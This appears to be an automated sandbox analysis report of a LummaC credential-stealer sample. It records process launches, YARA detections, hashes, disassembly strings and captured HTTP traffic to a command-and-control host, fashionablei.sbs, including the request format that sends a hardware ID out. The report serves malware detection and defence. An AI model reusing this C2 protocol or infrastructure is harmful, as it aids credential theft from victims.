2024-10-26 14:00:38 UTC	1010	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 14:00:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kogdk5q8c18h6hb4u9130tb65l; expires=Wed, 19 Feb 2025 07:47:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Cwtj%2FZyB9nRaJFVJGnV%2FHdWFW2HKu7i8Iwnq%2FkUCH%2B8MhDaavWNC5x9UdG9AAcCrNg7yEhQPUtJsHih197dop48GHnFsGuLH5OoKVn84muIFcJIteA78r3sWDtt1XgI43Wm5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8af945aa1e464d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1278&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2841&recv_bytes=2033&delivery_rate=2075985&cwnd=251&unsent_bytes=0&cid=1c8eb58d8a1785b8&ts=712&x=0"
2024-10-26 14:00:38 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 14:00:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49745	188.114.97.3	443	3848	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 14:00:39 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 110 Host: fashionablei.sbs
2024-10-26 14:00:39 UTC	110	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 74 4c 59 4d 65 35 2d 2d 32 26 6a 3d 35 63 39 62 38 36 37 34 61 36 33 30 64 39 31 30 31 62 34 36 37 33 33 61 61 33 37 66 31 35 65 63 26 68 77 69 64 3d 37 35 36 30 30 41 45 45 38 37 42 32 41 35 35 45 42 33 36 39 36 43 36 39 38 37 33 36 44 41 36 30 Data Ascii: act=get_message&ver=4.0&lid=tLYMe5--2&j=5c9b8674a630d9101b46733aa37f15ec&hwid=75600AEE87B2A55EB3696C698736DA60
2024-10-26 14:00:40 UTC	1019	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 14:00:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o3lsie50fb4dip4uqplp30fhbs; expires=Wed, 19 Feb 2025 07:47:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W9jfx6WISr2cuVzU5Yl%2B6SIMomwrGNdJu%2BJqOhe83KRrV9MKL6uCMotZfdpN6JA7Iz7i0xSee4VGuBsAHKhT%2F7iSMfZRJ11zxt%2F81wame%2FlPT5A%2BxRbPX%2B2Xxk6bXsOWJHh%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8af94e281a3ac1-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1222&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2841&recv_bytes=1011&delivery_rate=2335483&cwnd=247&unsent_bytes=0&cid=076a68787d91bea6&ts=1284&x=0"
2024-10-26 14:00:40 UTC	54	IN	Data Raw: 33 30 0d 0a 4d 53 2b 48 55 78 2b 6e 71 69 44 66 77 50 36 50 42 64 73 74 4c 6b 68 39 34 74 31 55 66 2b 68 69 78 53 70 67 61 65 4f 35 6a 4e 64 71 63 67 3d 3d 0d 0a Data Ascii: 30MS+HUx+nqiDfwP6PBdstLkh94t1Uf+hixSpgaeO5jNdqcg==
2024-10-26 14:00:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	10:00:05
Start date:	26/10/2024
Path:	C:\Users\user\Desktop\Setup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Setup.exe"
Imagebase:	0x860000
File size:	9'918'976 bytes
MD5 hash:	B159BFA7381138C176F2CD07B86C4588
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000000.00000002.1906668887.000000000B580000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000000.00000003.1800435792.000000000B580000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000000.00000002.1906668887.000000000B62C000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000000.00000002.1906668887.000000000B62C000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	10:00:15
Start date:	26/10/2024
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Imagebase:	0x70000
File size:	231'736 bytes
MD5 hash:	A64BEAB5D4516BECA4C40B25DC0C1CD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1930828454.0000000002981000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.2020381510.0000000002995000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1931427754.0000000002981000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1945030827.000000000297F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1930065871.000000000297E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Function 00899BA0 Relevance: 10.2, Strings: 8, Instructions: 183COMMON

Download Yara Rule

Strings

runtime.minit: duplicatehandle failed; errno=runtime: CreateWaitableTimerEx failed; errno=exitsyscall: syscall frame is no longer validunsafe.String: ptr is nil and len is not zerocontext: internal error: missing cancel errorexpected 1 as the cid version numbe, xrefs: 00899EA2
runtime: CreateWaitableTimerEx failed; errno=exitsyscall: syscall frame is no longer validunsafe.String: ptr is nil and len is not zerocontext: internal error: missing cancel errorexpected 1 as the cid version number, got: %dcbor input should not contain empty, xrefs: 00899E47
CreateWaitableTimerEx when creating timer failedruntime.preemptM: duplicatehandle failed; errno=runtime: waitforsingleobject wait_failed; errno=trailing bytes in data buffer passed to cid Castreflect: CallSlice with too many input argumentsstrconv: illegal App, xrefs: 00899E7B
bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchcontext.TODO%!(BADWIDTH)multipathtcp127.0.0.1:53no such hostCIDR add, xrefs: 00899DC5
runtime: VirtualQuery failed; errno=runtime: sudog with non-nil waitlinkruntime: mcall called on m->g0 stackstartm: P required for spinning=true) is not Grunnable or Gscanrunnableruntime: bad notifyList size - sync=accessed data from freed user arena runtime:, xrefs: 00899DEC
runtime.minit: duplicatehandle failed_cgo_notify_runtime_init_done missingstartTheWorld: inconsistent mp->nextpruntime: unexpected SPWRITE function all goroutines are asleep - deadlock!cannot create context from nil parentreflect: Bits of non-arithmetic Type r, xrefs: 00899ED6
VirtualQuery for stack base failedforEachP: sched.safePointWait != 0schedule: spinning with local workruntime: g is running but p is notdoaddtimer: P already set in timerunsupported length for blake2s: %dreflect: Method index out of rangereflect: ChanDir of no, xrefs: 00899E20
%, xrefs: 00899EDF

Memory Dump Source

Source File: 00000000.00000002.1900212874.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.1900193855.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1900452522.0000000000BBE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1900452522.0000000001008000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901040866.000000000116D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901090354.000000000116E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901119327.0000000001170000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901201043.0000000001171000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901294602.0000000001172000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901349159.0000000001174000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901484766.0000000001175000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901541021.000000000119F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901587967.00000000011A7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901612929.00000000011A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901612929.00000000011B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901612929.00000000011B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901612929.00000000011D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901612929.00000000011D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901763507.00000000011DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901788726.00000000011DB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901788726.0000000001206000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_Setup.jbxd

Similarity

API ID:
String ID: %$CreateWaitableTimerEx when creating timer failedruntime.preemptM: duplicatehandle failed; errno=runtime: waitforsingleobject wait_failed; errno=trailing bytes in data buffer passed to cid Castreflect: CallSlice with too many input argumentsstrconv: illegal App$VirtualQuery for stack base failedforEachP: sched.safePointWait != 0schedule: spinning with local workruntime: g is running but p is notdoaddtimer: P already set in timerunsupported length for blake2s: %dreflect: Method index out of rangereflect: ChanDir of no$bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchcontext.TODO%!(BADWIDTH)multipathtcp127.0.0.1:53no such hostCIDR add$runtime.minit: duplicatehandle failed; errno=runtime: CreateWaitableTimerEx failed; errno=exitsyscall: syscall frame is no longer validunsafe.String: ptr is nil and len is not zerocontext: internal error: missing cancel errorexpected 1 as the cid version numbe$runtime.minit: duplicatehandle failed_cgo_notify_runtime_init_done missingstartTheWorld: inconsistent mp->nextpruntime: unexpected SPWRITE function all goroutines are asleep - deadlock!cannot create context from nil parentreflect: Bits of non-arithmetic Type r$runtime: CreateWaitableTimerEx failed; errno=exitsyscall: syscall frame is no longer validunsafe.String: ptr is nil and len is not zerocontext: internal error: missing cancel errorexpected 1 as the cid version number, got: %dcbor input should not contain empty$runtime: VirtualQuery failed; errno=runtime: sudog with non-nil waitlinkruntime: mcall called on m->g0 stackstartm: P required for spinning=true) is not Grunnable or Gscanrunnableruntime: bad notifyList size - sync=accessed data from freed user arena runtime:
API String ID: 0-3683934281
Opcode ID: 0d9f08cdf1638e342c201ac2a28a5147b0462bb833a9b08a8b988c690f1bdbfc
Instruction ID: 1eb525b9366a815f2a63a2529194f3e12a0cb2d3810257c038449d5c6c9e2c30
Opcode Fuzzy Hash: 0d9f08cdf1638e342c201ac2a28a5147b0462bb833a9b08a8b988c690f1bdbfc
Instruction Fuzzy Hash: 1591BBB45097018FCB04FF69C095B1ABBE0FB88708F04892DE498CB352DB75D9888B53

Function 008AA210 Relevance: 6.3, Strings: 5, Instructions: 83COMMON

Download Yara Rule

Strings

releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchcontext.TODO%!(BADWIDTH)multipathtcp127.0.0.1:53no such hostCIDR addressunknown portinvalid portgetaddrinfowtransmitfilecontent-typemax-forwardshttp2debug=1http2deb, xrefs: 008AA2A5
p->status= in status idleprocs= gcwaiting= schedtick= timerslen= mallocing=bad timedivfloat64nan1float64nan2float64nan3float32nan2GOTRACEBACK) at entry+ (targetpc= , plugin: runtime: g : frame.sp=created by .WithCancel%!(BADPREC)nil contextwsarecvfromi/o tim, xrefs: 008AA313
m->p= p->m=SCHED curg= ctxt: min= max= (...) base , val Format[]bytenetdns.localreturn.onionip+netdomaingophertelnetcookieexpectserverclosedExpectactivesocks5%s:%d%s%d%duint16uint32uint64structchan<-<-chan ValueGetAceGetACP390625CommonArabicBrahmiCarianCh, xrefs: 008AA2C7
releasep: invalid argcheckdead: runnable gruntime: newstack at runtime: newstack sp=runtime: confused by pcHeader.textStart= timer data corruptionkey is not comparablelocalhost.localdomaininvalid base encodinginvalid cid json blobunknown ABI part kind of unex, xrefs: 008AA35D
releasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStartunexpected key value typeExpandEnvironmentStringsWcontext de, xrefs: 008AA347

Memory Dump Source

Source File: 00000000.00000002.1900212874.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.1900193855.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1900452522.0000000000BBE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1900452522.0000000001008000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901040866.000000000116D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901090354.000000000116E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901119327.0000000001170000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901201043.0000000001171000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901294602.0000000001172000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901349159.0000000001174000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901484766.0000000001175000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901541021.000000000119F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901587967.00000000011A7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901612929.00000000011A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901612929.00000000011B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901612929.00000000011B5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901612929.00000000011D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901612929.00000000011D7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901763507.00000000011DA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901788726.00000000011DB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1901788726.0000000001206000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_Setup.jbxd

Similarity

API ID:
String ID: m->p= p->m=SCHED curg= ctxt: min= max= (...) base , val Format[]bytenetdns.localreturn.onionip+netdomaingophertelnetcookieexpectserverclosedExpectactivesocks5%s:%d%s%d%duint16uint32uint64structchan<-<-chan ValueGetAceGetACP390625CommonArabicBrahmiCarianCh$ p->status= in status idleprocs= gcwaiting= schedtick= timerslen= mallocing=bad timedivfloat64nan1float64nan2float64nan3float32nan2GOTRACEBACK) at entry+ (targetpc= , plugin: runtime: g : frame.sp=created by .WithCancel%!(BADPREC)nil contextwsarecvfromi/o tim$releasep: invalid argcheckdead: runnable gruntime: newstack at runtime: newstack sp=runtime: confused by pcHeader.textStart= timer data corruptionkey is not comparablelocalhost.localdomaininvalid base encodinginvalid cid json blobunknown ABI part kind of unex$releasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStartunexpected key value typeExpandEnvironmentStringsWcontext de$releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchcontext.TODO%!(BADWIDTH)multipathtcp127.0.0.1:53no such hostCIDR addressunknown portinvalid portgetaddrinfowtransmitfilecontent-typemax-forwardshttp2debug=1http2deb
API String ID: 0-1848185544
Opcode ID: 91e4cfc014ee5dad4f57294307440d293af7141e026957589bec23e7c714a2f4
Instruction ID: f51113f60d073ecea56efa4f3ec98ffc0dc00192f6c7658da54424fa047ba4ba
Opcode Fuzzy Hash: 91e4cfc014ee5dad4f57294307440d293af7141e026957589bec23e7c714a2f4
Instruction Fuzzy Hash: A641D1B8508701CFD708EF68D08576ABBE0FB89704F05896DE998C7752D7759888CBA3

Analysis Process: BitLockerToGo.exePID: 3848, Parent PID: 7100COMMON

Execution Graph

Execution Coverage:	5.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	61.3%
Total number of Nodes:	282
Total number of Limit Nodes:	28

Executed Functions

Function 0041D667 Relevance: 18.3, APIs: 1, Strings: 9, Instructions: 763
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

uys9, xrefs: 0041DC97
zn|v, xrefs: 0041DBF8
f,$(, xrefs: 0041D7CE
vmen, xrefs: 0041DBED
s~{n, xrefs: 0041DC0E
xugg, xrefs: 0041DC03
/2] , xrefs: 0041D84C, 0041D853
cgqz, xrefs: 0041DBE2
x|, xrefs: 0041DCB8

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: /2] $cgqz$f,$($s~{n$uys9$vmen$xugg$x|$zn|v
API String ID: 0-2902742906
Opcode ID: c4cb93e49a1027972acef7bc7db9bbba06ecced1595695488ff7c868e50c7bd2
Instruction ID: 947c09c3ff81f9782b5d384dfa54613870c3f9feecadd8a04cc46c6b812eddda
Opcode Fuzzy Hash: c4cb93e49a1027972acef7bc7db9bbba06ecced1595695488ff7c868e50c7bd2
Instruction Fuzzy Hash: 134214B59083409FC724DF24D8817EBB7E1EF95314F14892EE8D987392E7789981CB86

Function 00423330 Relevance: 14.4, Strings: 11, Instructions: 649
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,<,(, xrefs: 0042388A
%. $, xrefs: 00423892
^Y, xrefs: 0042357F
b$#., xrefs: 0042389A
SU, xrefs: 0042358F
@C, xrefs: 0042346C
>:;0, xrefs: 00423872
{G, xrefs: 0042338C
SW, xrefs: 00423577
0", xrefs: 004238A2
j, xrefs: 004238A9

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: %. $$,<,($0"$>:;0$@C$SU$SW$^Y$b$#.$j${G
API String ID: 0-588226034
Opcode ID: 554f8967a5c13dfb08635fe7e99de60da369bcd2351e19af7e239dbe1ce53c8d
Instruction ID: 90167dd847b009c3f953fd40b4b51aed2521c9326bb531357beb2cef50c1925d
Opcode Fuzzy Hash: 554f8967a5c13dfb08635fe7e99de60da369bcd2351e19af7e239dbe1ce53c8d
Instruction Fuzzy Hash: B92221B5A083909FD710DF24E85066FBBF1AF86304F58892EF4D58B342D779C9058B8A

Function 0040EE20 Relevance: 13.3, Strings: 10, Instructions: 762
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

yw, xrefs: 0040EFB7
@-+, xrefs: 0040EF35
v%r#, xrefs: 0040EF49
+e(c, xrefs: 0040EFE9
u;q9, xrefs: 0040F291
y)v', xrefs: 0040EF3F
#i4g, xrefs: 0040EFDF
L3, xrefs: 0040F919
!m%k, xrefs: 0040EFD5
g!~_, xrefs: 0040EF53

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: !m%k$#i4g$+e(c$@-+$L3$g!~_$u;q9$v%r#$y)v'$yw
API String ID: 0-1298823376
Opcode ID: 60bcb29c81a72b4f26f2798094d24862cf0b1c7ceb2e936e2930b7af2029d7b8
Instruction ID: 8759766493a00c0779f8a2977687824cc0272d6d8b70f01d4125bb960d0998e5
Opcode Fuzzy Hash: 60bcb29c81a72b4f26f2798094d24862cf0b1c7ceb2e936e2930b7af2029d7b8
Instruction Fuzzy Hash: AA42CBB5104B41DFE3248F25DC9076BBBE5FB85314F05893CE5A68BAA0EB78A405CB85

Function 00410370 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 360
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 00410383
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004103A5
CoUninitialize.OLE32 ref: 0041050E
CoUninitialize.OLE32 ref: 00410520

Strings

75600AEE87B2A55EB3696C698736DA60, xrefs: 004103B5
fashionablei.sbs, xrefs: 004107BF

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: InitializeUninitialize$Security
String ID: 75600AEE87B2A55EB3696C698736DA60$fashionablei.sbs
API String ID: 679980898-615521917
Opcode ID: a8b16cd298a86d4c89d5751a485401608e0bdc47f696d1866d15775163faedc0
Instruction ID: c18d6bec1f663fc8cc7d4cb1d171164fff87ec0442fde2d28db3a54c13568cc8
Opcode Fuzzy Hash: a8b16cd298a86d4c89d5751a485401608e0bdc47f696d1866d15775163faedc0
Instruction Fuzzy Hash: 50C122B554D3809BE370CF2598817EBBBE2AFD2304F18892DD4C85B395DB394845CB96

Function 0040F490 Relevance: 11.8, Strings: 9, Instructions: 528
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

y)v', xrefs: 0040F508
!m%k, xrefs: 0040F59B
+e(c, xrefs: 0040F5B1
g!~_, xrefs: 0040F518
@-+, xrefs: 0040F500
#i4g, xrefs: 0040F5A6
v%r#, xrefs: 0040F510
yw, xrefs: 0040F57A
L3, xrefs: 0040F919

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: !m%k$#i4g$+e(c$@-+$L3$g!~_$v%r#$y)v'$yw
API String ID: 0-2850119623
Opcode ID: 521fc4437b1ff6885b97c5974d82c344bb4ce1fa66cae93c86d9e240ded79fe6
Instruction ID: 135bba3f1472b5172c52527fcb552911ff524ad6e6becc77f9f8e7e47305d022
Opcode Fuzzy Hash: 521fc4437b1ff6885b97c5974d82c344bb4ce1fa66cae93c86d9e240ded79fe6
Instruction Fuzzy Hash: D302BAB5108381DFE3209F25EC907ABBBE5FF86305F05892CE58A8B660EB749445CF56

Function 00420D60 Relevance: 10.3, Strings: 8, Instructions: 336
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`a, xrefs: 00421056
DE, xrefs: 00420EC4
c}, xrefs: 00421141
S1Q3, xrefs: 00420F99
$%, xrefs: 00420FB1
l9E7, xrefs: 00420F40, 00420F44, 00421021, 004210B7
B1nO, xrefs: 00420EAC
}z{, xrefs: 00420E2A

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: $%$B1nO$DE$S1Q3$`a$l9E7$c}$}z{
API String ID: 0-3034509644
Opcode ID: 226790dcda5ec7fdc92babf08a2cf46e352d9aefc4531b339c94b837367c9066
Instruction ID: 31717bb73efeea4282d0362b4ed8f9f18cf2cff66650a96c680f11760a43948e
Opcode Fuzzy Hash: 226790dcda5ec7fdc92babf08a2cf46e352d9aefc4531b339c94b837367c9066
Instruction Fuzzy Hash: 95B1FF7290C3508FC7149F29D8812ABBBE1EF96354F159D2CE0D59B362DB388945CB8A

Function 00426B58 Relevance: 9.3, APIs: 1, Strings: 4, Instructions: 520
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`C5}, xrefs: 00426E0F
4S;M, xrefs: 00426DF3
KI, xrefs: 00427089
HI, xrefs: 00426F97

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: 4S;M$HI$`C5}$KI
API String ID: 0-2625641319
Opcode ID: e99f9c030eb18fafb12e7b36569ea9c9bd74794bde7c31a9ca4732c122a27627
Instruction ID: 7bd689930203248f4e124cf4b068447c3e387a35416a19cae673786a67198f05
Opcode Fuzzy Hash: e99f9c030eb18fafb12e7b36569ea9c9bd74794bde7c31a9ca4732c122a27627
Instruction Fuzzy Hash: BDF1FDB5E00319CFDB24CFA5D8826AEBBB1FF45304F05456DE846AB342E3389905CB95

Function 0043CAF0 Relevance: 9.0, Strings: 7, Instructions: 247
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

p, xrefs: 0043CB89
p, xrefs: 0043CD86
G, xrefs: 0043CB04
L, xrefs: 0043CAFF
p, xrefs: 0043CC79
A, xrefs: 0043CB0E
F, xrefs: 0043CB09

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: A$F$G$L$p$p$p
API String ID: 0-4157924366
Opcode ID: a94cc71681b421386ebc3b4c83818784acf519f4479ec627f07e22e8e5f6441e
Instruction ID: 3e99673251a91465ff31a0667265cd6904dad94b5fbb79e6f440b482714ecdd2
Opcode Fuzzy Hash: a94cc71681b421386ebc3b4c83818784acf519f4479ec627f07e22e8e5f6441e
Instruction Fuzzy Hash: 1AA1F2B150C3808BD3158B28D58136EBFD2ABDA308F18592FE1C697382D2BDD844C75B

Function 0043CE40 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 130
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

03, xrefs: 0043CF85
v'w!, xrefs: 0043CFC1, 0043CFC5
c;m5, xrefs: 0043CF75

Memory Dump Source

Source File: 00000001.00000002.2069696080.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: 03$c;m5$v'w!
API String ID: 0-4032687651
